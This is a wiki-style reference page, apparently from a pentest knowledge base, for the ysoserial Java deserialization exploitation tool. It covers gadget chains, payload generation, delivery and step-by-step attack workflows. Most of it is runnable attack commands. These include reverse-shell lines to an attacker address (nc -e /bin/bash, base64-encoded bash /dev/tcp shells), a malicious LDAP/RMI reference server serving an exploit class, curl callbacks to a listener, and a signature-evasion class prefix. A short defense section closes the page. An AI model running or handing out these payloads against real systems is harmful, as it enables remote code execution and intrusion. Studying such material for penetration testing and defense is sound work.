ᛉ Yggdrasil

Tool references

ysoserial Wiki

17 Sep 2026 · 3,787 words · 17 min

Contents

Original Author: Chris Frohoff (@frohoff) / Original Talk: AppSecCali 2015 "Marshalling Pickles"
Repo: https://github.com/frohoff/ysoserial
Description: Proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization
Notable Forks: ysoserial-modified (extra gadgets), su18/ysoserial (memory shells, WAF/RASP bypass, gadget detection), [FasterXML jackson-related forks]
Target Platform: Java (build via Maven; run via JRE 8+ — older gadgets need matching legacy JRE)


Overview

ysoserial is a collection of "gadget chains" — sequences of otherwise-benign method calls in common Java libraries that, when strung together through Java's native serialization mechanism, can be triggered by deserializing a malicious object graph. The tool doesn't exploit a flaw in serialization itself; it weaponizes the fact that an application calls ObjectInputStream.readObject() on data it doesn't control. If the required gadget classes are present on the target's classpath, feeding it a crafted byte stream causes arbitrary code (usually OS command execution) to run the moment deserialization happens — often before any application logic even sees the object.

Key capabilities:

  • Generate ready-to-use serialized payloads for 20+ gadget chains across Commons Collections, Spring, Groovy, Hibernate, MyFaces, C3P0, and more
  • Produce OOB-detection payloads (URLDNS) to confirm a deserialization sink exists without needing full RCE
  • Target JRE-native chains that require zero third-party libraries on the classpath (Jdk7u21, Jdk8u20)
  • Customize generated classes to evade static/behavioral signatures (ysoserial.class_prefix, --inline, --jar-file)
  • Chain into JNDI/LDAP/RMI exploitation via companion tools (marshalsec, JNDIExploit) for cases where a gadget doesn't exist but JNDI lookup gadgets do

What ysoserial is NOT: it does not scan for or find deserialization endpoints, and it does not fingerprint which gadget libraries are present on a remote classpath (some forks add basic detection — see su18/ysoserial below). You still need to find the sink and know or guess the target's dependencies.


How Java Deserialization Attacks Work

                      ┌────────────────────────────────────────┐
                      │      Vulnerable Application            │
                      │  ObjectInputStream.readObject(data)    │
                      └───────────────────┬────────────────────┘
                                          │
                     Deserializes attacker-controlled bytes
                                          │
              ┌───────────────────────────┼───────────────────────────┐
              │                           │                           │
       readObject() on              hashCode()/equals()        finalize() /
       gadget class A                triggered on a               toString()
       calls gadget                  HashMap key during           triggered
       class B...                    put/rehash                   during GC
              │                           │                           │
              └───────────────────────────┼───────────────────────────┘
                                          │
                     Chain terminates in a "sink":
              Runtime.exec() / ProcessBuilder / TemplatesImpl.newTransformer()
                                          │
                                    Command Execution

Why this works: Java serialization calls readObject() (or triggers hashCode, equals, finalize, etc.) automatically during deserialization, with no validation of the incoming class graph by default. If any class reachable on the classpath has a readObject()/equals()/hashCode() method that eventually calls into reflection, a Transformer, an ObjectFactory, or similar — and an attacker can control the values passed through that chain — the deserialization process itself becomes the code-execution primitive. No vulnerability in application logic is needed; the vulnerable code often never runs at all before the exploit fires.

Two families of gadget chains:

Type Trigger Mechanism Examples
Transformer-based readObject() on a wrapper object walks a chain of Transformer/Closure/Comparator objects, each calling the next via reflection CommonsCollections1–7, Groovy1
hashCode/equals-based Object is used as a HashMap/HashSet key; deserializing the map calls hashCode()/equals() on the key, which cascades into the gadget URLDNS, some CommonsCollections variants

The sink (final code-exec step) is almost always one of:

  • Runtime.getRuntime().exec(cmd) — classic OS command exec, most common
  • ProcessBuilder — similar, used in newer chains
  • TemplatesImpl.newTransformer() — loads and instantiates an arbitrary bytecode-defined class (used by CC-series and Spring chains for stealthier / more flexible execution than raw exec)
  • JNDI lookup (InitialContext.lookup()) — redirects to attacker-controlled RMI/LDAP server serving a malicious factory class (used when no local gadget chain fits but JNDI injection does — see marshalsec)

Build & Setup

Building from Source

# Clone the repo
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial

# Build with Maven (skip tests — many gadget tests intentionally fail without exact library pinning)
mvn clean package -DskipTests

# Output jar
ls target/ysoserial-*-all.jar

Dependencies: Maven pulls all gadget library versions automatically per pom.xml. This is the biggest source of build friction — outdated Maven Central artifacts, especially javax.interceptor-api, have been pulled/typo'd historically. If the build fails on a specific payload's dependency, you can often still build and use the rest.

Pre-built Releases

# GitHub releases page ships an -all.jar (all dependencies bundled)
# https://github.com/frohoff/ysoserial/releases
wget https://github.com/frohoff/ysoserial/releases/download/vX.X/ysoserial-all.jar

Pre-compiled jars are common in CTF/HTB environments and pentest dropboxes — verify hash before trusting one on an engagement.

JRE Version Matters

Some gadget chains (Jdk7u21, Jdk7u21, older CommonsCollections chains relying on specific reflection behavior) only work against the JRE version they were built for. Running ysoserial itself under a modern JDK (11+) to generate the payload is usually fine, but the target JRE executing the deserialization is what determines whether the chain fires. Always check target Java version first (java -version in banners, stack traces, X-Powered-By headers, error pages).

# If you need to build/run under an older JDK for compatibility
sudo update-alternatives --config java

Basic Usage

# General syntax
java -jar ysoserial-all.jar [payload] '[command]' > payload.bin

# List all available payloads (no args)
java -jar ysoserial-all.jar

# Basic CommonsCollections1 payload, command execution
java -jar ysoserial-all.jar CommonsCollections1 'id' > cc1.bin

# Windows target command
java -jar ysoserial-all.jar CommonsCollections1 'calc.exe' > cc1_win.bin

# Inspect the raw bytes (starts with Java serialization magic: aced 0005)
xxd cc1.bin | head

# Pipe directly to netcat for RMI/socket-based sinks
java -jar ysoserial-all.jar CommonsCollections5 'nc -e /bin/bash 10.10.14.5 4444' | nc target_ip 1099

Reading the magic bytes: AC ED 00 05 at the start of a payload/response confirms Java serialization format — useful when inspecting HTTP traffic, cookies, or files to identify a deserialization surface before you commit to an exploit.


Payload Types Reference

Detection / OOB Payloads

URLDNS

Not an RCE chain — a universal detection payload. Uses only standard JDK classes (HashMap, java.net.URL), no third-party gadget library required, so it works against any application that deserializes attacker data, regardless of what's on the classpath.

Gadget Chain:
  HashMap.readObject()
    HashMap.putVal()
      HashMap.hash()
        URL.hashCode()   <- triggers a DNS lookup as a side effect
# Generate — point it at a Burp Collaborator / interactsh / your own DNS canary domain
java -jar ysoserial-all.jar URLDNS 'http://uniqueid.oob.burpcollaborator.net' > urldns.bin

# Send to the suspected sink, then watch DNS logs / Collaborator for the callback
# A DNS hit confirms: (a) the endpoint deserializes untrusted input, (b) no gadget needed yet

Workflow tip: Always try URLDNS first on any suspected deserialization sink. It costs nothing, needs no classpath knowledge, and confirms exploitability before you burn time guessing which CC/Spring/Groovy variant matches the target's dependencies.


Apache Commons Collections Chains

The original and most widely applicable family — targets commons-collections 3.x (CC1, CC3, CC5, CC6, CC7) and 4.x (CC2, CC4). Abuses the library's Transformer/InvokerTransformer interfaces, which let a ChainedTransformer invoke arbitrary methods via reflection during readObject().

Payload Depends On Notes
CommonsCollections1 commons-collections:3.1 Original AppSecCali chain, AnnotationInvocationHandler + LazyMap
CommonsCollections2 commons-collections4:4.0 Uses PriorityQueue + TemplatesImpl sink, CC4.x variant
CommonsCollections3 commons-collections:3.1 TemplatesImpl sink instead of raw Runtime.exec — more flexible payload (arbitrary class bytecode)
CommonsCollections4 commons-collections4:4.0 CC4.x version of CC3 chain
CommonsCollections5 commons-collections:3.1 BadAttributeValueExpException trigger, useful for RMI registry-based delivery
CommonsCollections6 commons-collections:3.1 Most reliable/stable across JDK versions — often the default choice in modern JDKs (8u71+) where CC1 breaks
CommonsCollections7 commons-collections:3.1 Hashtable-based trigger variant
# CC1 — classic, breaks on JDK 8u71+ due to AnnotationInvocationHandler changes
java -jar ysoserial-all.jar CommonsCollections1 'id' > cc1.bin

# CC6 — most reliable on modern JDKs, this is usually your first try
java -jar ysoserial-all.jar CommonsCollections6 'id' > cc6.bin

# CC3 — TemplatesImpl sink, loads a full malicious class instead of a single exec call
java -jar ysoserial-all.jar CommonsCollections3 'id' > cc3.bin

# Customize command execution style — --inline to embed a Java snippet instead of shelling out
java -jar ysoserial-all.jar CommonsCollections1 --inline 'System.out.println("test");' > cc1_inline.bin

JDK version compatibility note: CC1 relies on sun.reflect.annotation.AnnotationInvocationHandler's pre-8u71 field layout. On 8u71+ it silently fails. CC6 doesn't have this dependency and is the more portable choice on modern targets — always test both if the JDK version is unknown.


Spring Framework Chains

# Spring1 — ObjectFactory + PropertyPathFactoryBean chain
java -jar ysoserial-all.jar Spring1 'id' > spring1.bin

# Spring2 — uses AOP proxy + JdbcRowSetImpl-style JNDI trigger
java -jar ysoserial-all.jar Spring2 'id' > spring2.bin
Payload Depends On
Spring1 spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 spring-core, spring-aop, aopalliance:1.0, commons-logging:1.2

Relevant when the target is a Spring-based backend (Spring MVC, Spring Boot actuators, older Spring Remoting/HTTP invoker endpoints) exposing a Java-serialized RPC surface — Spring HTTP Invoker is a classic real-world sink for these.


Groovy Chains

java -jar ysoserial-all.jar Groovy1 'id' > groovy1.bin
Payload Depends On
Groovy1 groovy:2.3.9

Targets applications embedding a Groovy scripting engine on the classpath (common in Jenkins plugins, Grails apps, and rules engines that shell out to Groovy for dynamic evaluation).


Other Library Gadget Chains

# BeanShell — targets bsh:2.0b5
java -jar ysoserial-all.jar BeanShell1 'id' > beanshell1.bin

# C3P0 — JDBC connection pooling library, JNDI-based trigger
java -jar ysoserial-all.jar C3P0 'id' > c3p0.bin

# Clojure
java -jar ysoserial-all.jar Clojure 'id' > clojure.bin

# CommonsBeanutils1 — commons-beanutils + commons-collections + commons-logging
java -jar ysoserial-all.jar CommonsBeanutils1 'id' > beanutils1.bin

# FileUpload1 — commons-fileupload + commons-io
java -jar ysoserial-all.jar FileUpload1 'id' > fileupload1.bin

# Hibernate1 / Hibernate2 — Hibernate ORM proxy-based chains
java -jar ysoserial-all.jar Hibernate1 'id' > hibernate1.bin

# JBossInterceptors1 — JBoss/WildFly interceptor chain (notoriously fragile deps, see build notes)
java -jar ysoserial-all.jar JBossInterceptors1 'id' > jboss1.bin

# JSON1 — targets JSON deserialization libraries with polymorphic type handling
java -jar ysoserial-all.jar JSON1 'id' > json1.bin

# MozillaRhino1/2 — JavaScript engine (Rhino) embedded in the JVM
java -jar ysoserial-all.jar MozillaRhino1 'id' > rhino1.bin

# Myfaces1/2 — JSF ViewState deserialization (relevant for JSF apps, pair with ViewState decoding)
java -jar ysoserial-all.jar Myfaces1 'id' > myfaces1.bin

# ROME — RSS/Atom feed parsing library
java -jar ysoserial-all.jar ROME 'id' > rome.bin

# Vaadin1 — Vaadin UI framework
java -jar ysoserial-all.jar Vaadin1 'id' > vaadin1.bin

# Wicket1 — Apache Wicket framework
java -jar ysoserial-all.jar Wicket1 'id' > wicket1.bin

# Click1 — Apache Click framework
java -jar ysoserial-all.jar Click1 'id' > click1.bin

# AspectJWeaver — AspectJ weaving library
java -jar ysoserial-all.jar AspectJWeaver 'id' > aspectj.bin

Fork note: su18/ysoserial extends this list significantly (C3P02-4, additional CommonsCollections8/9, memory-shell injection for Spring/Tomcat/Jetty/JBoss/Resin/WebSphere, and a URLDNS-based dependency-detection mode to fingerprint which gadget libraries actually exist on a target's classpath before firing blind). Worth reaching for on engagements where the base repo's chain list doesn't fit, or when you need non-destructive classpath enumeration first.


JRE-Native Chains

# Jdk7u21 — no external gadget library needed, pure JRE 7u21 chain
java -jar ysoserial-all.jar Jdk7u21 'id' > jdk7u21.bin

# Jdk7u21 with output obfuscation piped through common wrappers (real-world delivery example)
java -jar ysoserial-all.jar Jdk7u21 "bash -c {echo,$(echo 'id' | base64 -w0)}|{base64,-d}|{bash,-i}" | gzip | base64

These are valuable when the target classpath has none of the common gadget libraries (locked-down/minimal deployments) but is still running a vulnerable, unpatched JRE. Only works against the exact matching JRE minor version.


Identifying Deserialization Endpoints

Before reaching for ysoserial, confirm you actually have a Java deserialization sink:

Byte-level indicators (raw or base64):

# Raw Java serialization magic bytes
AC ED 00 05

# Base64-encoded magic bytes (very common in cookies/params)
rO0AB...

Common real-world sinks:

  • HTTP request bodies/params passed to ObjectInputStream.readObject() (custom REST endpoints, legacy SOAP)
  • Session cookies (JSESSIONID or custom session tokens using native Java serialization instead of JSON)
  • RMI registries (port 1099 and dynamically allocated high ports) — RMI is Java serialization over the wire
  • JMX (port 1099/9999 commonly) — used for app server management, deserializes on connect
  • Message queues (JMS, ActiveMQ) — objects serialized into queue messages
  • File uploads accepted as .ser/binary blobs and processed server-side
  • JSF ViewState hidden form field (base64-encoded serialized component tree — check for encryption first)
# grep for likely magic bytes in a captured response/request
grep -a "rO0AB" capture.txt

# Burp: search raw response/request bytes for aced0005

Payload Delivery Vectors

# HTTP POST body (raw binary)
curl -X POST --data-binary @cc6.bin http://target/endpoint

# HTTP POST body (base64 form-encoded, common for cookie/param-based sinks)
java -jar ysoserial-all.jar CommonsCollections6 'id' | base64 -w0 > cc6_b64.txt
curl -X POST http://target/endpoint -d "session=$(cat cc6_b64.txt)"

# As a Cookie header
curl http://target/ -H "JSESSIONID: $(cat cc6_b64.txt)"

# Multipart file upload
curl -X POST http://target/upload -F "file=@cc6.bin;type=application/octet-stream"

# Direct socket delivery for RMI-style sinks (raw TCP, no HTTP wrapper)
java -jar ysoserial-all.jar CommonsCollections6 'id' | nc target_ip 1099

Encoding & Format Conversion

# Base64 encode for transport in text-based protocols
java -jar ysoserial-all.jar CommonsCollections6 'id' | base64 -w0

# URL-encode after base64 (for GET params or headers with special chars)
java -jar ysoserial-all.jar CommonsCollections6 'id' | base64 -w0 | python3 -c "import sys, urllib.parse; print(urllib.parse.quote(sys.stdin.read()))"

# Gzip-compress (some frameworks expect compressed serialized blobs, e.g., some JSF ViewState configs)
java -jar ysoserial-all.jar CommonsCollections6 'id' | gzip | base64 -w0

# Reverse: decode a captured base64 payload back to raw bytes for inspection
echo '<base64_string>' | base64 -d > captured.bin
xxd captured.bin | head

Java RMI / JMX Exploitation

For cases where a direct gadget chain isn't available but the target performs JNDI lookups on attacker-influenced input (common in JMX, JNDI injection points, or newer chains relying on TemplatesImpl), pair ysoserial with marshalsec to stand up a malicious RMI/LDAP reference server:

# Build marshalsec (separate tool, not part of ysoserial)
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec && mvn clean package -DskipTests

# Stand up a malicious LDAP server that returns a reference to an attacker-hosted class
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://10.10.14.5:8000/#Exploit" 1389

# Serve the compiled Exploit.class over HTTP
python3 -m http.server 8000

# Deliver a JNDI-injection payload that forces the target to look up your LDAP entry
# (delivery mechanism depends on the specific injection point — Log4Shell-style, JMX, etc.)

RMI registry interaction directly with ysoserial payloads:

# Many RMI attack surfaces (unauthenticated registries, JMX endpoints) accept a raw
# serialized object over the socket — CC5/CC6 with BadAttributeValueExpException-style
# triggers work well here since RMI registry lookups deserialize object graphs directly.
java -jar ysoserial-all.jar CommonsCollections5 'id' | nc target_ip 1099

Burp Suite Integration

Extensions useful for Java deserialization testing in Burp:
- summitt/burp-ysoserial — wraps ysoserial payload generation inside Burp Intruder/Repeater
- federicodotta/Java-Deserialization-Scanner — automated detection + exploitation across
  known gadget chains, flags likely sinks via passive scanning
- DirectDefense/SuperSerial / SuperSerial-Active — passive and active deserialization
  vulnerability identification

Manual Repeater workflow:

  1. Capture a request containing a base64 rO0AB... blob (cookie, param, body)
  2. Generate a URLDNS payload, base64-encode it, swap it into the captured request in Repeater
  3. Check Collaborator/DNS logs for a callback — confirms the sink
  4. Iterate through CC6 → CC1 → CC3 → Spring1 → Groovy1 (roughly descending order of how common each dependency is in the wild) until one lands
  5. Once a working chain is found, swap the command for full exploitation (reverse shell, etc.)

Gadget Chain Internals

Understanding the CC6 chain end-to-end (most portable, good reference example):

1. Attacker builds: Runtime.exec(cmd) wrapped inside a ChainedTransformer:
     ConstantTransformer -> InvokerTransformer("getMethod") -> InvokerTransformer("invoke")
     -> InvokerTransformer("exec")

2. ChainedTransformer wrapped in a LazyMap (transforms on .get())

3. LazyMap wrapped in a TiedMapEntry, which is set as the key of a HashMap

4. HashMap wrapped once more so readObject() is invoked at the top of deserialization

5. On deserialization:
   HashMap.readObject()
     -> HashMap.hash(key)                  # calls key.hashCode()
        -> TiedMapEntry.hashCode()
           -> LazyMap.get(key)             # triggers the LazyMap transform chain
              -> ChainedTransformer.transform()
                 -> InvokerTransformer chain (reflection calls)
                    -> Runtime.getRuntime().exec(cmd)

This pattern — wrap a "trigger" method (hashCode, equals, readObject, finalize) around a reflection-capable transform chain — is the template nearly every gadget chain in the tool follows, just with different trigger classes and different libraries providing the Transformer/ObjectFactory/Interceptor-equivalent reflection primitive.


Troubleshooting & Version Matching

Symptom Likely Cause Fix
ClassNotFoundException on target after sending payload Target doesn't have the gadget library on its classpath Try a different chain family (Spring, Groovy) matching target's actual dependencies (check /WEB-INF/lib, error stack traces, pom.xml if source leaked)
CC1 payload silently fails, no error JDK 8u71+ breaks AnnotationInvocationHandler field layout CC1 relies on Use CC6 instead
Payload works locally, not against target Target JRE major/minor version mismatch for JRE-native chains (Jdk7u21) Confirm exact target JRE version, match chain accordingly
Maven build fails on a specific payload's dependency Upstream artifact pulled/renamed on Maven Central (common with javax.interceptor-api) Build with -DskipTests; if the module itself won't compile, exclude it or use a maintained fork (synacktiv/ysoserial tracks these fixes)
WAF/RASP blocks the payload Signature-based detection on known ysoserial class names Use -Dysoserial.class_prefix= to rename generated classes; consider su18 fork's traffic obfuscation features
No callback on URLDNS test Sink isn't reachable, output stream isn't actually deserialized, or egress DNS is filtered Confirm egress with a simple nslookup first; try an HTTP-based OOB listener instead of DNS

Detection & Defense

(For blue-team / remediation context when reporting findings.)

  • Look-ahead deserialization filtering — Java's ObjectInputFilter (JEP 290, Java 9+, backported to 8u121+) lets applications whitelist expected classes before readObject() executes them
  • Avoid native Java serialization entirely for untrusted input — prefer JSON (with polymorphic typing disabled) or Protocol Buffers
  • Patch/remove vulnerable libraries — most CC/Spring/Groovy chains require specific old versions; upgrading Commons Collections past 3.2.2/4.1 (with the fix) or removing InvokerTransformer support closes the classic chains
  • WAF/RASP signatures on magic bytes (aced0005 / rO0AB) at ingress points that shouldn't see serialized Java objects at all
  • Contextual escaping — if a value should never contain binary/serialized data (e.g., a session ID), validate format strictly rather than accepting arbitrary base64

Common Attack Workflows

Workflow: Blind Deserialization Endpoint Discovery → RCE

# Step 1: Confirm the endpoint deserializes untrusted data (zero classpath assumptions)
java -jar ysoserial-all.jar URLDNS 'http://canary.oob.burpcollaborator.net' | base64 -w0

# Step 2: Send via whatever vector applies (cookie, param, body) — check Collaborator for DNS hit

# Step 3: If confirmed, iterate common chains in order of real-world prevalence
for payload in CommonsCollections6 CommonsCollections1 CommonsCollections3 Spring1 Groovy1 CommonsBeanutils1; do
  java -jar ysoserial-all.jar $payload "curl http://10.10.14.5:8000/hit-$payload" > "/tmp/$payload.bin"
  # deliver each, watch your listener for which one calls back
done

# Step 4: Once confirmed, swap for full reverse shell
java -jar ysoserial-all.jar CommonsCollections6 \
  'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}' \
  > shell.bin

Workflow: JSF ViewState Exploitation

# Step 1: Capture the ViewState hidden field value from an HTML form
# <input type="hidden" name="javax.faces.ViewState" value="rO0AB..." />

# Step 2: Check if it's encrypted (unencrypted ViewState is directly exploitable)
echo '<viewstate_value>' | base64 -d | xxd | head    # aced0005 = unencrypted, exploitable directly

# Step 3: Generate a Myfaces-targeted payload
java -jar ysoserial-all.jar MyFaces1 'id' | base64 -w0 > myfaces_payload.txt

# Step 4: Submit the crafted ViewState back to the form's POST endpoint in place of the original
curl -X POST http://target/faces/page.xhtml \
  --data-urlencode "javax.faces.ViewState=$(cat myfaces_payload.txt)"

Workflow: RMI Registry Attack (Unauthenticated)

# Step 1: Confirm RMI registry is reachable and unauthenticated
nmap -p 1099 -sV target_ip

# Step 2: Enumerate bound names (via rmiscout, or Impacket-adjacent tooling)
# rmiscout enum target_ip:1099

# Step 3: Deliver a gadget chain directly to the registry socket
java -jar ysoserial-all.jar CommonsCollections6 \
  'bash -c {echo,<base64_revshell>}|{base64,-d}|{bash,-i}' | nc target_ip 1099

# Step 4: Catch the shell
nc -lvnp 4444

Cheatsheet

Quick reference for the most common ysoserial operations. Replace placeholders as needed.

Build

git clone https://github.com/frohoff/ysoserial.git && cd ysoserial
mvn clean package -DskipTests
# jar output: target/ysoserial-*-all.jar

Detection First

java -jar ysoserial-all.jar URLDNS 'http://<canary>.oob-server.com' | base64 -w0

Most Reliable RCE Chains (try in this order)

java -jar ysoserial-all.jar CommonsCollections6 'id'          # most portable, modern JDKs
java -jar ysoserial-all.jar CommonsCollections1 'id'          # classic, fails 8u71+
java -jar ysoserial-all.jar CommonsCollections3 'id'          # TemplatesImpl sink
java -jar ysoserial-all.jar Spring1 'id'                      # Spring apps
java -jar ysoserial-all.jar Groovy1 'id'                      # Groovy-embedded apps
java -jar ysoserial-all.jar CommonsBeanutils1 'id'             # beanutils present
java -jar ysoserial-all.jar Jdk7u21 'id'                      # no gadget lib needed, old JRE

Reverse Shell One-Liner Embed

java -jar ysoserial-all.jar CommonsCollections6 \
  'bash -c {echo,'"$(echo 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' | base64 -w0)"'}|{base64,-d}|{bash,-i}' \
  > shell.bin

Encoding for Delivery

java -jar ysoserial-all.jar CC6 'id' | base64 -w0                              # base64 (most HTTP vectors)
java -jar ysoserial-all.jar CC6 'id' | base64 -w0 | python3 -c \
  "import sys,urllib.parse;print(urllib.parse.quote(sys.stdin.read()))"        # url-encoded
java -jar ysoserial-all.jar CC6 'id' | gzip | base64 -w0                       # gzip + base64

Delivery Vectors

curl -X POST --data-binary @payload.bin http://target/endpoint                 # raw body
curl http://target/ -H "JSESSIONID: $(cat payload_b64.txt)"                    # cookie
curl -X POST http://target/upload -F "file=@payload.bin"                       # multipart
cat payload.bin | nc target_ip 1099                                            # raw socket / RMI

Magic Byte Check

xxd payload.bin | head -1        # look for: aced 0005
echo '<captured_b64>' | base64 -d | xxd | head -1   # rO0AB... decodes to aced0005

Custom Class Prefix (Evasion)

java -Dysoserial.class_prefix='javax.objects.Object' -jar ysoserial-all.jar CommonsCollections1 'id'

References

  • GitHub: https://github.com/frohoff/ysoserial
  • Original talk — "Marshalling Pickles" (AppSecCali 2015): https://frohoff.github.io/appseccali-marshalling-pickles/
  • marshalsec (JNDI/RMI/LDAP exploitation companion): https://github.com/mbechler/marshalsec
  • PayloadsAllTheThings — Java Deserialization: https://swisskyrepo.github.io/PayloadsAllTheThings/Insecure%20Deserialization/Java/
  • su18/ysoserial fork (memory shells, detection, WAF bypass): https://github.com/su18/ysoserial
  • synacktiv/ysoserial fork (maintained build fixes): https://github.com/synacktiv/ysoserial
  • Java Deserialization Scanner (Burp extension): https://github.com/federicodotta/Java-Deserialization-Scanner
  • burp-ysoserial (Burp extension): https://github.com/summitt/burp-ysoserial
  • ObjectInputFilter / JEP 290 (defense reference): https://openjdk.org/jeps/290

← Tool references top ↑